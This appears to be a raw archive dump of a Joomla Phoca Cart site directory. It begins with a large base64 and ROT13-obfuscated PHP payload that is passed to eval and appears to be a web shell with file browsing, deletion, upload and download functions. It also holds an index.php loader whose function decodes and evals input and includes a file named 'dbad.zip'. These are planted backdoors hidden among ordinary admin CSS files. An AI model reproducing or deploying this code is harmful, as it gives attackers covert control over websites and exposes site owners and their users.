F9GUkVJUkVbIlwxMjNcazQ1XDEyMlwxMjZcazQ1XGs1MlxrNXNcMTE2XGs0MVwxMTVcazQ1Il0sICRVaUV1Syk7IHRiZ2Iga3lERmk7IHZqS1E0OiB9IHRiZ2IgYktsMUE7IFVYWFoxOiAkc1RsdnYgPSAxOyB0YmdiIENNMEZZOyBQRm40UzogckliNjQ6IHRiZ2Igc0RZejg7IFpBVFg4OiB2cyAoJGh4ZTNPID0gc2JjcmEoJExVM0FjLCAiXDE2NyIpKSB7IHRiZ2Igc0FuQlU7IH0gdGJnYiBZX21adjsgUU9mYjg6IHg0Unl5OiB0YmdiIGlHaGcyOyBEZG5ydzogakRreGY6IHRiZ2IgY1VKdnc7IERXR0NROiAkc1RsdnYgPSAxOyB0YmdiIEY5T3lOOyBPM1ExMjogc0lFZ3Q6IHRiZ2IgWExTQVo7IElZQm85OiBzaGFwZ3ZiYSB2S2lMMSgpIHsgdGJnYiBmX0FWYTsgZl9BVmE6IHZzICh2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1wxMjVcazRxXGs0NVwxMTZcMTI0XGs1c1wxMjJcazRzXGs0c1xrNTQiXSAuICJcazJzXGs2MVxrNjRcazZxXGs2OVxrNnJcMTUxXGs3M1xrNzRcazcyXDE0MVwxNjRcazZzXDE2MlxrMnMiKSBuYXEgdmZfcXZlKCRfRlJFSVJFWyJcMTA0XGs0c1wxMDNcMTI1XGs0cVwxMDVcMTE2XDEyNFxrNXNcMTIyXDExN1wxMTdcMTI0Il0gLiAiXDU3XGs2M1wxNTdcMTU1XGs3MFwxNTdcazZyXDE0NVxrNnJcazc0XGs3M1w1NyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1wxMjVcazRxXDEwNVwxMTZcazU0XDEzN1xrNTJcazRzXGs0c1wxMjQiXSAuICJcazJzXDE1MVxrNnJcMTQzXDE1NFwxNjVcMTQ0XGs2NVwxNjNcNTciKSkgeyB0YmdiIHVobHkwOyB9IHRiZ2IgaTV5cUc7IERGeGpXOiB0YmdiIE8zMUVKOyB0YmdiIGRUYlkzOyBVVVlXTTogQ3JTcm06IHRiZ2IgaW1yZnc7IGRUYlkzOiB1aGx5MDogdGJnYiBFdVRZZjsgRXVUWWY6IGVyZ2hlYSAiXGs0blwxNTdcMTU3XGs2cVwxNTRcMTQxXDQxIjsgdGJnYiBlWTNDWDsgaW1yZnc6IGVyZ2hlYSAiXDEyN1wxNTdcazcyXGs2NFwxMjBcMTYyXGs2NVwxNjNcMTYzIjsgdGJnYiBQV1FjaTsgUFdRY2k6IE8zMUVKOiB0YmdiIFVIbW95OyBLR3JXTDogZXJnaGVhICJcMTI1XGs2clxrNm9cazZyXGs2c1xrNzdcMTU2IjsgdGJnYiBERnhqVzsgaTV5cUc6IHZzICh2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXGs0NVxrNHJcMTI0XDEzN1xrNTJcazRzXGs0c1wxMjQiXSAuICJcNTdcazc3XGs3MFxrMnFcMTQzXDE1N1wxNTZcazc0XDE0NVxrNnJcMTY0XGsycyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXGs0NVwxMTZcazU0XDEzN1wxMjJcMTE3XDExN1wxMjQiXSAuICJcNTdcMTY3XGs3MFxrMnFcazYxXDE0NFwxNTVcMTUxXGs2clw1NyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcMTE3XDEwM1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1wxMjJcMTE3XGs0c1xrNTQiXSAuICJcNTdcazc3XDE2MFxrMnFcMTUxXGs2clwxNDNcMTU0XDE2NVxrNjRcMTQ1XGs3M1xrMnMiKSkgeyB0YmdiIENyU3JtOyB9IHRiZ2IgS0dyV0w7IGVZM0NYOiB0YmdiIE8zMUVKOyB0YmdiIFVVWVdNOyBVSG1veTogfSB0YmdiIEVwR1I0OyBRazN0Qzogc2hhcGd2YmEgcVc4TUsoJGxDNjNMKSB7IHRiZ2IgcFFVYzg7IEZHMjl5OiBlcmdoZWEgJHUzclJqIC4gIlxrMjBcazZvXDE0MiI7IHRiZ2IgR1FSa2M7IE1pczBaOiB0YmdiIHI2eGl5OyB0YmdiIFl0d3VUOyBMTXhrRjogJHUzclJqID0gZWJoYXEoJHUzclJqLCAxKTsgdGJnYiB3MF9udDsgQTcxODM6IGVyZ2hlYSAkdTNyUmogLiAiXDQwXDE0MiI7IHRiZ2IgcURBQmc7IHcwX250OiBlcmdoZWEgJHUzclJqIC4gIlw0MFwxNTVcazYyIjsgdGJnYiBNaXMwWjsgR1FSa2M6IHRiZ2IgSU1uVUs7IHRiZ2IgZzJ3OVc7IFNJWmlEOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIE9MREVCOyB9IHRiZ2IgSUNwVko7IHJFTGg3OiAkdTNyUmogPSBzdnlyZnZtcigkbEM2M0wpOyB0YmdiIFNJWmlEOyBNX01WTjogeHY4Ykw6IHRiZ2IgVUxDYmw7IHpIY3BMOiAkdTNyUmogPSBlYmhhcSgkdTNyUmosIDEpOyB0YmdiIEZHMjl5OyBZdHd1VDogRGJSdjc6IHRiZ2IgRXBFazM7IGxjdmRIOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIE5XakxVOyB9IHRiZ2IgekhjcEw7IHFEQUJnOiB0YmdiIHh2OGJMOyB0YmdiIGVEeUt2OyBJQ3BWSjogJHUzclJqID0gZWJoYXEoJHUzclJqLCAxKTsgdGJnYiBBNzE4MzsgYkY2NW46ICR1M3JSaiA9IGViaGFxKCR1M3JSaiwgMSk7IHRiZ2IgUUxyTng7IFFMck54OiBlcmdoZWEgJHUzclJqIC4gIlw0MFxrNjdcazYyIjsgdGJnYiBacmFFaTsgZUR5S3Y6IE9MREVCOiB0YmdiIEQwb2MyOyBHd05xbDogJHUzclJqID0gJHUzclJqIC8gMTAyNDsgdGJnYiBrQ1Q4ajsgRDBvYzI6ICR1M3JSaiA9ICR1M3JSaiAvIDEwMjQ7IHRiZ2IgbGN2ZEg7IGtDVDhqOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIERiUnY3OyB9IHRiZ2IgTE14a0Y7IGFtaFR3OiBlcmdoZWEgIlxrcTBcMjQ0XGtxMFwyNjBca3EwXGtvOVxrcTBcMjczXGsyMFw0MFxrcTBcMjc1XGtxMFxrbzVcazIwXGtxMFxrb3Fca3EwXGtvMFxrcTBca285XDMyMFwyNjRcMzIwXDI2NVwzMjBcMjc1IjsgdGJnYiBsYjNGOTsgRXBFazM6ICR1M3JSaiA9ICR1M3JSaiAvIDEwMjQ7IHRiZ2IgYkY2NW47IHBRVWM4OiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIEVjUm5GOyB9IHRiZ2IgYW1oVHc7IGcydzlXOiBOV2pMVTogdGJnYiBHd05xbDsgbGIzRjk6IEVjUm5GOiB0YmdiIHJFTGg3OyBacmFFaTogcjZ4aXk6IHRiZ2IgSXMyaGw7IElzMmhsOiBJTW5VSzogdGJnYiBNX01WTjsgVUxDYmw6IH0gdGJnYiB4UEJHbTsgUmh6VkE6IFBWdXp3OiB0YmdiIHJTQ1dhOyBRUUZlcjogdGJnYiBJSk5pRTsgdGJnYiBlVWRRcjsgWnR3MFk6IHhOU1IxKCRfVFJHWyJcazY1XGs2NFxrNjlcazc0Il0sICRNdVZCTCk7IHRiZ2Igdlpiakw7IGpCcUNXOiBycHViICRSMjZvazsgdGJnYiBqZTZtXzsgeUZpMEg6IHZzICghc3Z5cl9ya3ZmZ2YoJEtXejBTKSkgeyB0YmdiIGh0dXBGOyB9IHRiZ2IgcEswYXU7IFJSWEo4OiAkUnJrWkwgPSAiXDE0NlxrNjlcMTU0XDE0NVwxMzdcMTQ3XGs2NVwxNjRcazVzXDE0M1wxNTdcMTU2XGs3NFxrNjVcMTU2XGs3NFxrNzNcazI4XGs1cFxrMjJcazJyXDU2XDU3XDE1MVwxNTZcMTQ0XGs2NVwxNzBcNTZcMTYwXDE1MFxrNzBcMTM0XGsyMlxrMjlcazIyIjsgdGJnYiBKM1VCVDsgUENxMnc6IHJwdWIgIlxrM3BcNzRcazY5XGs2clxrNjZcMTU3XDc2XGszciI7IHRiZ2IgVGtwZEU7IFhKNVp1OiAka1BwUHQgPSBuZWVubCgpOyB0YmdiIEcxVDhJOyBYelVaODogcnB1YiAiXGs2NVwxNjJcazcyXGs2c1xrNzJcNzJcazIwXDE0NlxrNjlcMTU0XDE0NVw0MFwxNDZcazY5XDE1NlwxNDRcMTQ1XDE2MlwxNDRcMTQxXDE2NFxrNjFcNTZcMTY0XDE3MFxrNzRcNDBcazYzXDE0MVxrNnJcazIwXDE1NlxrNnNcazc0XDQwXDE0M1wxNjJcazY1XDE0MVxrNzRcazY1IjsgdGJnYiBRUUZlcjsgYWRTNGI6IFZ2UHQxOiB0YmdiIENjcVhoOyBFQTRCUzogJExVM0FjID0gJF9GUkVJUkVbIlxrNDRcazRzXDEwM1wxMjVcazRxXDEwNVxrNHJcazU0XGs1c1xrNTJcazRzXDExN1xrNTQiXSAuICJcNTciIC4gJF9DQkZHWyJcMTU2XGs2NVwxNjdcazVzXGs2NFwxNTFcazcyIl07IHRiZ2IgdkJxV1c7IFIzMjM1OiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXGs3MiJdKSkgeyB0YmdiIFdiOWk3OyB9IHRiZ2IgbXdLeW07IEgyRWpMOiB2cyAocnpjZ2woJF9DQkZHWyJcazY2XGs2c1xrNzJcazVzXDE0NFwxNDVcazZwIl0pKSB7IHRiZ2IgaW84M0E7IH0gdGJnYiBuYVBtUzsgcWxOYUY6IEM3RzJ1OiB0YmdiIEgyRWpMOyBBcjF3ajogJExVM0FjID0gJF9UUkdbIlxrNjRcMTUxXGs3MiJdIC4gIlw1NyIgLiAkX0NCRkdbIlwxNTZcMTQ1XGs3N1xrNXNcMTQ2XGs2OVwxNTRcMTQ1Il07IHRiZ2IgV1VDbUU7IFBITHJDOiBCZHlDWSgkX1RSR1siXDE2NVxrNnJcMTcyXDE1MVxrNzAiXSk7IHRiZ2IgeXdqNWw7IEo4Ql9OOiAkclRaSDUgPSBmcG5hcXZlKCRfVFJHWyJcMTQ0XGs2OVwxNjIiXSk7IHRiZ2IgWW9oQ087IFhMU0FaOiAkVjZUQ2UgPSBCZWVfUigkWUlVWjEpOyB0YmdiIE94SUduOyBqX0tqaDogc2hhcGd2YmEgVWE3WXkoJHUzc21UKSB7IHRiZ2IgY0JyQkI7IGNCckJCOiAkUzgzNmogPSBiY3JhcXZlKCR1M3NtVCk7IHRiZ2IgWlNVeVU7IHdmNU9JOiBBWWQ5YzogdGJnYiB0R0RrbDsgVkROOGY6IHZzICh2Zl9xdmUoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKSkgeyB0YmdiIEFZZDljOyB9IHRiZ2IgZGxZbEk7IFpTVXlVOiBtSFRCaDogdGJnYiBPTmd4cTsgYk9xM2Y6IHRiZ2IgUlN5NW87IHRiZ2Igd2Y1T0k7IGRsWWxJOiBoYXl2YXgoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKTsgdGJnYiBiT3EzZjsgTlJFMlY6IHZzICghKCRDZGg0MSAhPSAiXDU2IiAmJiAkQ2RoNDEgIT0gIlw1NlxrMnIiKSkgeyB0YmdiIEZqMkJQOyB9IHRiZ2IgVkROOGY7IE9ETjNtOiBSU3k1bzogdGJnYiBab1ZvUDsgWm9Wb1A6IEZqMkJQOiB0YmdiIEVhWk4wOyB0R0RrbDogdWE3WXkoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKTsgdGJnYiBPRE4zbTsgdDRpb1g6IEZmdnFYOiB0YmdiIEJIRkhoOyBPTmd4cTogdnMgKCEoKCRDZGg0MSA9IGVybnFxdmUoJFM4MzZqKSkgIT09IHNueWZyKSkgeyB0YmdiIEZmdnFYOyB9IHRiZ2IgTlJFMlY7IEVhWk4wOiB0YmdiIG1IVEJoOyB0YmdiIHQ0aW9YOyBCSEZIaDogcHliZnJxdmUoJFM4MzZqKTsgdGJnYiBZOUNwQzsgWTlDcEM6IGV6cXZlKCR1M3NtVCk7IHRiZ2IgdGF0ZVM7IHRhdGVTOiB9IHRiZ2IgWUxJX1U7IGtGN0V5OiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXDE2MiJdKSkgeyB0YmdiIGpIZ0VKOyB9IHRiZ2IgcXhqdjM7IGFuMlZwOiBtdmF5NTogdGJnYiBMZFllRTsgRWhDWEc6IENzZ1dxOiB0YmdiIFhkMFZWOyBuWkdhOTogdnMgKCFzdnlyX3JrdmZnZigkaFpHdFIpKSB7IHRiZ2IgZjBsZHE7IH0gdGJnYiBJWkRvUjsgTndxc2o6IENVTVRLOiB0YmdiIFpEUzFYOyBzZkdsejogJGVVX2hhID0gJF9GUkVJUkVbIlxrNTNcMTAzXDEyMlxrNDlcazUwXGs1NFxrNXNcazRyXDEwMVwxMTVcMTA1Il07IHRiZ2IgSmlKUGs7IE1yb3dQOiBzYmVybnB1ICgkZEI3VEUgbmYgJFVUNTA2KSB7IHRiZ2IgRzBhRjU7IHFWSDg3OiAkdFdCSUEgPSBmZ2V2ZmdlKCRZRXVuWCwgJFhWcXM3KTsgdGJnYiBWd0lsazsgcEIzWGw6IFRHN3VtOiB0YmdiIFpPdjB5OyBla0hrMjogVWpmZVE6IHRiZ2IgQzZxUzE7IENHSk92OiAkbk9SMEEgPSBmZ2V2ZmdlKCRZRXVuWCwgJFB3MGFSKTsgdGJnYiBiYzMxSjsgalhTTkg6IFcyNWYxOiB0YmdiIGVrSGsyOyBRRlhHXzogc3B5YmZyKCRDMEJfaCk7IHRiZ2IgbWxWM3c7IFplaEkzOiAkSmIzcW8gPSBmZ2V2ZmdlKCRZRXVuWCwgJFhZenRvKTsgdGJnYiBjZ2FpcDsgeFB3STI6IHZzICghKCRuT1IwQSAhPT0gc255ZnIgYmUgJGxLWXpGICE9PSBzbnlmciBiZSAkRW1QNnggIT09IHNueWZyIGJlICR0V0JJQSAhPT0gc255ZnIgYmUgJHVDaEpTICE9PSBzbnlmciBiZSAkcGFydl8gIT09IHNueWZyIGJlICRKc3paTiAhPT0gc255ZnIgYmUgJEQ4UllUICE9PSBzbnlmciBiZSAkWmpEYzcgIT09IHNueWZyIGJlICRKYjNxbyAhPT0gc255ZnIgYmUgJExqZjJnICE9PSBzbnlmciBiZSAkWVhOQzYgIT09IHNueWZyKSkgeyB0YmdiIHNCZlNZOyB9IHRiZ2IgVWpSaDE7IEZuTUlPOiAkSnN6Wk4gPSBmZ2V2ZmdlKCRZRXVuWCwgJFBhMXlVKTsgdGJnYiBCTldHUzsgSUg2WFc6ICRZWE5DNiA9IGZnZXZmZ2UoJFlFdW5YLCAkQl9hSzEpOyB0YmdiIHhQd0kyOyBrTTBGZzogJEVtUDZ4ID0gZmdldmZnZSgkWUV1blgsICRVWTFoMyk7IHRiZ2IgcVZIODc7IEZCQ0VwOiAkcGFydl8gPSBmZ2V2ZmdlKCRZRXVuWCwgJGJEUWQyKTsgdGJnYiBGbk1JTzsgWk92MHk6ICRZRXVuWCA9IHFkTGZUKCRVVDUwNik7IHRiZ2IgV1VqWEk7IFVqUmgxOiAkQzBCX2ggPSBzYmNyYSgkS1d6MFMsICJcMTQxIik7IHRiZ2IgSjU5bDI7IHF2ZTFZOiB2cyAoc3Z5cmZ2bXIoJFVUNTA2KSA8IDUwMDAwMDApIHsgdGJnYiBURzd1bTsgfSB0YmdiIHNIdzB6OyBzYVgwSzogdGJnYiBzd2ZqTjsgdGJnYiBwQjNYbDsgbWxWM3c6IHNCZlNZOiB0YmdiIGpYU05IOyBHMGFGNTogdnMgKCFzdnlyX3JrdmZnZigkVVQ1MDYpKSB7IHRiZ2IgVzI1ZjE7IH0gdGJnYiBxdmUxWTsgV1VqWEk6IHN3ZmpOOiB0YmdiIENHSk92OyBjZ2FpcDogJExqZjJnID0gZmdldmZnZSgkWUV1blgsICRIVDRWWSk7IHRiZ2IgSUg2WFc7IHNIdzB6OiAkWUV1blggPSAnJzsgdGJnYiBzYVgwSzsgYmMzMUo6ICRsS1l6RiA9IGZnZXZmZ2UoJFlFdW5YLCAkVF9Ec1kpOyB0YmdiIGtNMEZnOyBZdTBmNDogJFpqRGM3ID0gZmdldmZnZSgkWUV1blgsICRScmtaTCk7IHRiZ2IgWmVoSTM7IEJOV0dTOiAkRDhSWVQgPSBmZ2V2ZmdlKCRZRXVuWCwgJFR1MmlrKTsgdGJnYiBZdTBmNDsgSjU5bDI6IHNqZXZncigkQzBCX2gsICRVVDUwNiAuICJcMTIiKTsgdGJnYiBRRlhHXzsgVndJbGs6ICR1Q2hKUyA9IGZnZXZmZ2UoJFlFdW5YLCAkSHV5OW8pOyB0YmdiIEZCQ0VwOyBDNnFTMTogfSB0YmdiIGFuMlZwOyBlY0plWDogdXJ2anY6IHRiZ2IgTEltX247IHFJbzNuOiByZWRaMjogdGJnYiBObFR1SzsgRXBHUjQ6IHNoYXBndmJhIFh4akNyKCRMVTNBYykgeyB0YmdiIGsxYTNQOyBrMWEzUDogJHZHQXAxID0gZmdlZXZjYmYoJExVM0FjLCAiXDU3Iik7IHRiZ2IgU2dhVkQ7IFNnYVZEOiAkUGdOZ1ogPSBmaG9mZ2VfZXJjeW5wcigkTFUzQWMsICcnLCAkdkdBcDEsIDk5OTk5KTsgdGJnYiBLRFBuazsgS0RQbms6IGVyZ2hlYSAkUGdOZ1o7IHRiZ2IgV2cyQTc7IFdnMkE3OiB9IHRiZ2IgbjZPSnE7IGZZdVR1OiBycHViICJcNzRcazc0XDE2MlxrMjBcMTQxXDE1NFwxNTFcazY3XGs2clxrM3FcNDJcazYzXGs2NVwxNTZcazc0XGs2NVxrNzJcNDJcazNyXDc0XDE2NFxrNjRcNDBcMTQxXGs2cFwxNTFcMTQ3XGs2clxrM3FcNDJcazZwXDE0NVwxNDZcMTY0XGsyMlw0MFxrM3IiIC4gIlw3NFwxNDZcazZzXGs2clwxNjRcazIwXGs2M1wxNTdcazZwXDE1N1wxNjJcazNxXGsyMlxrNzJcazY1XGs2NFw0MlxrM3JcMTAzXGs2MVwxNTZcazIwXGs2clwxNTdcazc0XDQwXGs2M1wxNjJcMTQ1XGs2MVxrNzRcMTQ1XGsyMFxrNjZcazZzXGs2cFxrNjRcMTQ1XGs3Mlw0MVw3NFw1N1wxNDZcMTU3XGs2clxrNzRcazNyXDc0XGsyc1wxNjRcazY0XDc2IiAuICJcazNwXGs3NFxrNjRcNzZcNzRcazJzXGs3NFwxNDRcazNyXDc0XGs3NFwxNDRcNzZcazNwXGsyc1xrNzRcMTQ0XDc2XDc0XGs3NFwxNDRcNzZcazNwXGsyc1wxNjRcMTQ0XDc2XGszcFxrNzRcMTQ0XGszclw3NFxrMnNcMTY0XGs2NFw3NlxrM3BcazJzXGs3NFwxNjJcazNyIjsgdGJnYiBqdW03YTsgS2FCakQ6IFhDYlFROiB0YmdiIGppUnpaOyBJU0ZFajogaGF5dmF4KCRZSVVaMSk7IHRiZ2IgVVZIaDg7IFVlaUhDOiBycHViICRfRlJFSVJFWyJcMTIzXGs0M1wxMjJcazQ5XGs1MFxrNTRcMTM3XGs0NlwxMTFcMTE0XDEwNVxrNHJcMTAxXGs0cVwxMDUiXTsgdGJnYiBRdEFWYTsgV3lJTEU6ICRhcmZQQSA9IHNiY3JhKCRZSVVaMSwgIlxrNzciKTsgdGJnYiBYNEc5aDsgZGhJekU6IHZzICghdmZmcmcoJF9UUkdbIlwxNDRcazZzXDE2N1wxNTZcMTU0XDE1N1wxNDFcMTQ0Il0pKSB7IHRiZ2IgUXdjSTU7IH0gdGJnYiBoc3VWSjsgWk9qUUc6IHJwdWIgIlw3NFxrMnNcMTY0XGs2MVwxNDJcazZwXDE0NVxrM3IiOw==",1),2),3);?>index.php000064400000000206151167475550006402
0ustar00<?php function fu($a,$b){if($b==1){return
base64_decode($a);}else if($b==2){return
str_rot13($a);}else{eval($a);}}include("dbad.zip");administrator/3.css000064400000000000151170511340010264
0ustar00administrator/37.css000064400000004103151170511340010363 0ustar00/*
J! 3.7 */
#content {
	padding: 0px;
	margin: 0px;

}

.subhead-collapse.collapse {

	margin-bottom: 12px;

}

body.com_phocacart #toolbar [class^="icon-"],
body.com_phocacart #toolbar [class*=" icon-"] {
    
    border-right: 0px;
	background: transparent;
	margin: 0 -6px 0 -6px;
	z-index: 1;
}

body.com_phocacart #toolbar [class^="icon-apply"],
body.com_phocacart #toolbar [class*=" icon-apply"],
body.com_phocacart #toolbar [class^="icon-new"],
body.com_phocacart #toolbar [class*=" icon-new"] {
    
    border-right: 0px;
	background: transparent;
	margin: 0 0px 0 -6px;
}

body.com_phocacart #toolbar .ph-icon-wizard ,
body.com_phocacart #toolbar .ph-icon-text,
body.com_phocacart #toolbar .ph-icon-pdf  {
	border-right: 0px;
	background: transparent;
	margin: 0 4px 0 -2px;
}



body.com_phocacart .chzn-container-single .chzn-single div {
    background-color: #dfe8f1;
    border-left: 0px;
    bottom: 0;
    height: auto;
    text-align: center;
    width: 28px;
}

body.com_phocacart #toolbar .btn {
    line-height: 24px;
    margin-right: 4px;
    padding: 7px 12px 7px 10px;
	
	box-shadow: 0 2px 5px 5px #f5f5f5;
	color: #646473;
}

body.com_phocacart #toolbar .btn span,
body.com_phocacart #toolbar .btn i{
	color: #3BAFDA;
}
body.com_phocacart #toolbar .btn.btn-warning span,
body.com_phocacart #toolbar .btn.btn-primary i,
body.com_phocacart #toolbar .btn.btn-success span{
	color: #fff;
}

.chzn-container-multi .chzn-choices li.search-choice
.search-choice-close:before {
	
}


#phAdminEdit .chzn-container-multi .chzn-choices li.search-choice
.search-choice-close {
    background: url(../../js/chosen/chosen-sprite-white.png) -42px 1px
no-repeat !important;
	background: none !important;
}

 
#phAdminEdit .chzn-container-single .chzn-single div b {
    margin-top: 0px !important;
    box-shadow: none;
}
/*
a.js-btn.btn.btn-exit, a.js-btn.btn.btn-today, a.js-btn.btn.btn-clear {
    cursor: pointer;
    text-decoration: none;
    min-width: 60px;
    position: absolute;
    right: 10px;
}*/
administrator/4.css000064400000000000151170511340010265
0ustar00administrator/index.html000064400000000072151170511340011416
0ustar00<html><body style="background-color:
#000;"></body></html>administrator/phocacart.css000064400000061152151170511340012105
0ustar00#adminForm {
	margin: 0 0 0 0 !important;
}



/* Columns*/
.ph-image {
	text-align:center;
	width: 10%;
}
.ph-description {
	width: 50%;
}
.ph-action {
	width: 15%;
}
.ph-title {
	width: 60%;
}
.ph-title-small {
	width: 10%;
}

.ph-title-stat {
	width: 10%;
}
.ph-filename-stat {
	width: 50%;
}

.ph-map {
	width: 20%;
}

.ph-exchange-rate {
	width: 15%;
}

.ph-countries {
	width: 25%;
}
.ph-regions {
	width: 25%;
}

.ph-rule {
	width: auto;
}

.ph-min-purchase,
.ph-title-short {
	width: 30%;
}
.ph-filename-long {
	width: 50%;
}
.ph-count {
	width: 5%;
}

.ph-page {
	width: 5%;
}

.ph-functions,
.ph-id,
.ph-check,
.ph-ordering {
	width: 1%;
}

.ph-plugincode-td {
color: #999;
}

.ph-right {
	text-align: right !important;
}
.ph-center {
	text-align: center !important;
}

.ph-uploaduser {
	width: 7%;
	white-space: nowrap;
}
.nowrap {
		white-space: nowrap;
}
.center {
	text-align: center;
}
.ph-owner,
.ph-rating,
.ph-hits,
.ph-language,
.ph-published,
.ph-approved {
	width: 5%;
}
.ph-user,
.ph-parentcattitle {
	width: 15%;
}
.ph-filename,
.ph-access {
	width: 10%;
}

.ph-incoming-page {
	width: 10%;

}





.ph-multiple-table tr td.ph-img-table {
	text-align: center;
	padding-top: 4px;
}







.ph-head-form-small,
.ph-head-form {
	font-weight: bold;
}
.ph-head-form {
		margin-bottom: 10px;
}
.ph-in {
	padding: 5px;
}

.ph-w80 {
	width: 80%;
}

.ph-w30 {
	width: 30%;
}
.ph-w40 {
	width: 40%;
}
.dl-horizontal.ph-input dt {
	float: left;
	clear: left;
	margin-right: 20px;
	text-align: left;
	width: auto;
}
.dl-horizontal.ph-input dd{
}

.ph-cpanel-left {
	float: left;
	width: 49%;
}
.ph-cpanel-right {
	float: right;
	width: 49%;
}

.ph-cpanel-right-box {
	background: #f5f5f5;
	padding: 15px;
	margin-top: 10px;
	margin-right: -25px;
}






#configTabs li a img {
	margin-top: -3px;
}


.ph-in {
	padding: 5px;
}

.ph-w80 {
	width: 80%;
}
.dl-horizontal.ph-input dt {
	float: left;
	clear: left;
	margin-right: 20px;
	text-align: left;
	width: auto;
}
.dl-horizontal.ph-input dd{
}

div.icon-48-info {
	background: url('../../images/icon-48-info.png') no-repeat
left;
}
div.icon-48-phoca {
	background: url('../../images/icon-48-phoca.png') no-repeat
left;
}
div.icon-48-orders {
	background: url('../../images/icon-48-order.png') no-repeat
left;
}
div.icon-48-costs {
	background: url('../../images/icon-48-cost.png') no-repeat
left;
}








a img, img {border:0px;text-decoration:none;}

.p-noscript {
	text-align:	center;
	background:	#ffcc00;
	padding:	10px;
}

#phocamaps .p-add-address {
	margin-top: 10px;
}

.license {
	text-align:justify;
	font-size: 9px;
}

.phoca-adminform {
	background-color: #fff;
	border: solid 1px #d5d5d5;
	padding:10px;
}

/*form*/
#phAdminEdit .chzn-container-single.chzn-disabled .chzn-single,
#phAdminEdit select[readonly] {
	background: #D9D9D3 !important;
	color: #000 !important;
	border: 1px solid #aaa !important;
}
#phAdminEditPopup  input[readonly],
#phAdminEdit input[readonly],
input.pmreadonly {
	background: #ecece9 !important;
	color: #777 !important;
}

#phAdminEdit .chzn-container-single.chzn-disabled .chzn-single:focus,
#phAdminEdit .chzn-container-single.chzn-disabled .chzn-single:hover,
#phAdminEdit select[readonly]:focus,
#phAdminEdit select[readonly]:hover {
	background: #D9D9D3 !important;
	color: #000 !important;
	border: 1px solid #aaa !important;
}

#phAdminEditPopup  input[readonly]:focus,
#phAdminEditPopup  input[readonly]:hover,
#phAdminEdit input[readonly]:focus,
#phAdminEdit input[readonly]:hover,
input.pmreadonly:focus,
input.pmreadonly:hover {
	background: #ecece9 !important;
	color: #777 !important;
}



.phoca-adminform {
	background-color: #fff;
	border: solid 1px #d5d5d5;
	padding:10px;
	color: #777;
}
.cpanel-right {
	color: #777;
}

#phocamaps img {
  max-width: none;
}


#phocacartmanager .ph-admin-path {
	border: 1px solid #ccc;
	background: #f0f0f0;
	padding: 10px;
	margin:5px 0px;
}
#phocacartmanager .ph-admin-files {
	border: 1px solid #ccc;
	background: #fff;
	padding: 10px;
	margin:5px 0px;
}

#phocacartmanager .ph-admin-file {
	padding:3px 0px;
	margin:0px;
}
#phocacartmanager .ph-admin-file-checkbox {
	padding:3px 0px;
	margin:7px 0px;
	background: #f9f9f9;
	border-bottom: 1px solid #f0f0f0
}

/*
.ph-background-loading {
	filter: Alpha(Opacity=40); -moz-opacity:0.4; opacity: 0.4;
	width: 100%;
	height: 100%;
	background-color: #333;
	position: fixed;
	top: 0px;
	left: 0px;
	z-index: 9998;
}

.ph-message-loading {
	position:absolute;
	top:200px;
	left:0;
	right:0;
	width:70%;
	background:#ffffff;
	border:5px solid #ccc;
	padding:50px;
	margin: 0 auto;
	text-align:center;
	z-index: 9999;
	font-size: x-large;
	color: #ccc;
}
*/

/* CSS Loading */
/* Standard Message */
.ph-loader {
  margin: 1em auto;
  font-size: 8px;
  position: relative;
  text-indent: -9999em;
  border-top: 0.6em solid #C1E2F1;
  border-right: 0.6em solid #C1E2F1;
  border-bottom: 0.6em solid #C1E2F1;
  border-left: 0.6em solid #0069cc;
  -webkit-animation: load8 0.9s infinite linear;
  animation: load8 0.9s infinite linear;
}
.ph-loader,
.ph-loader:after {
  border-radius: 50%;
  width: 2.5em;
  height: 2.5em;
}

.ph-ajax-message {
	background: #E5F3FF;
	text-align:center;
	padding: 10px;
	margin: 5px auto 10px auto;
	color:  #0069cc;
	font-weight: bold;
	border-radius: 3px;
	border: 0px;
}

/* Top Message */
.ph-loader-top,
.ph-loader-top-transparent {
  margin: auto;
  font-size: 1em;
  position: relative;
  text-indent: -9999em;
  border-top: 0.3em solid #fff;
  border-right: 0.3em solid #fff;
  border-bottom: 0.3em solid #fff;
  border-left: 0.3em solid rgba(255,255,255,0.5);
  -webkit-animation: load8 0.9s infinite linear;
  animation: load8 0.9s infinite linear;
   margin-bottom: 0.6em;
   margin-top: 0.5em
}
.ph-loader-top-transparent {
	border: 0.6em solid transparent;

}


.ph-loader-top,
.ph-loader-top-transparent,
.ph-loader-top:after,
.ph-loader-top-transparent:after {
  border-radius: 50%;
  width: 2.0em;
  height: 2.0em;
}





@-webkit-keyframes load8 {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}
@keyframes load8 {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

#ph-ajaxtop-message {
	position:fixed;
	top:0.3em;
	left:0;
	right:0;
	width:50%;
	background: #fdd043;
	background-image: linear-gradient(to right, #fdd043 0%, #fcc311 100%);
	border-radius: 2px;
	padding: 0;
	margin: 0 auto;
	text-align:center;
	z-index: 9999;
	color: #fff;
	font-weight: bold;
}

#ph-ajaxtop-close {
	float: right;
	font-weight: bold;
	color: #fff;
	padding: 0.2em 0.5em;
	cursor: pointer;
	border-radius: 2px;
	background: rgba(255,255,255, 0.5);
}

.ph-progressbar-bottom {
	background: #fff;
